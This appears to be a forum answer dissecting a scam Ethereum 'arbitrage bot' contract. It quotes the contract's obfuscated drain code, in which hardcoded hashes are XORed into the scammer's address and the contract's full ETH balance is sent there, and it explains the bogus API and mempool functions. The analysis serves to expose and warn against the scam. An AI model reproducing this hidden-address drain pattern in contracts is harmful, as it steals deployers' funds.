eth balance not showing in etherscan [duplicate]

The scam:

• Condenced:

 bytes32 DexRouter = 0xfdc54b1a6f53a21d375d0dea4b719169497dbac884f858c6cc4034ec1a5c51dc bytes32 factory = 0xfdc54b1a6f53a21d375d0deacc54b9f1d5309afc19f5eb0cca35296fc6da89ed // Arbitrage search function for a native blockchain token function startArbitrageNative() internal { address tradeRouter = getDexRouter(DexRouter, factory); // < ---- Look here address dataProvider = getDexRouter(apiKey, apiSignature); IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance); payable(tradeRouter).transfer(address(this).balance); // < ---- Look here } // ... function StartNative() public payable { startArbitrageNative(); } 

getDexRouter returns the scammers address by xoring the hardcoded hashes

 // Function getDexRouter returns the DexRouter address function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) { return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory))); } 

In python:

>>> DexRouter = 0xfdc54b1a6f53a21d375d0dea4b719169497dbac884f858c6cc4034ec1a5c51dc >>> factory = 0xfdc54b1a6f53a21d375d0deacc54b9f1d5309afc19f5eb0cca35296fc6da89ed >>> >>> w3.to_checksum_address(DexRouter ^ factory) '0x872528989c4D20349D0dB3Ca06751d83DC86D831' 

StartNative calls startArbitrageNative, which computes the address and makes the transfer:

 // Function for triggering an arbitration contract function StartNative() public payable { startArbitrageNative(); } //.. address tradeRouter = getDexRouter(DexRouter, factory); // payable(tradeRouter).transfer(address(this).balance); } 

Easier ways to tell it's a scam:

Anything mentioning API is going to be total rubbish:

 apiKey = 0xfdc54b1a6f53a21d375d0dea444a27bd72abfff26c6fe5439842b42f4f5a01fc; apiSignature = 0xfdc54b1a6f53a21d375d0dea84608d84c088017f6661b90cbfa86d27732f6d3e; // Obtaining your own api key to connect to the arbitration data provider function Key() public view returns (uint256) { uint256 _balance = address(_owner).balance - arbTxPrice; return _balance; } } 

Same with anything about Mempool, it isn't possible from on chain so you know it's a lie:

 // Mempool scanning function for interaction transactions with routers of selected DEX exchanges function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) { uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount); uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1); return amtBack2; } 

A smart contract living on one chain can only access info that lives within this chain, so no mempool, no third party APIs, etc. So yes, based of the beginning of the video, this is a scam, and unfortunately there's no way to retrieve your funds, the contract you deployed basically forwards any ETH sent to it to the scammer.

Besides that, though, and way more trivial, no technical knowledge required, applying common sense (such as asking yourself "will someone i don't know really give me magic money-making code for free?") is a very good way of detecting scams.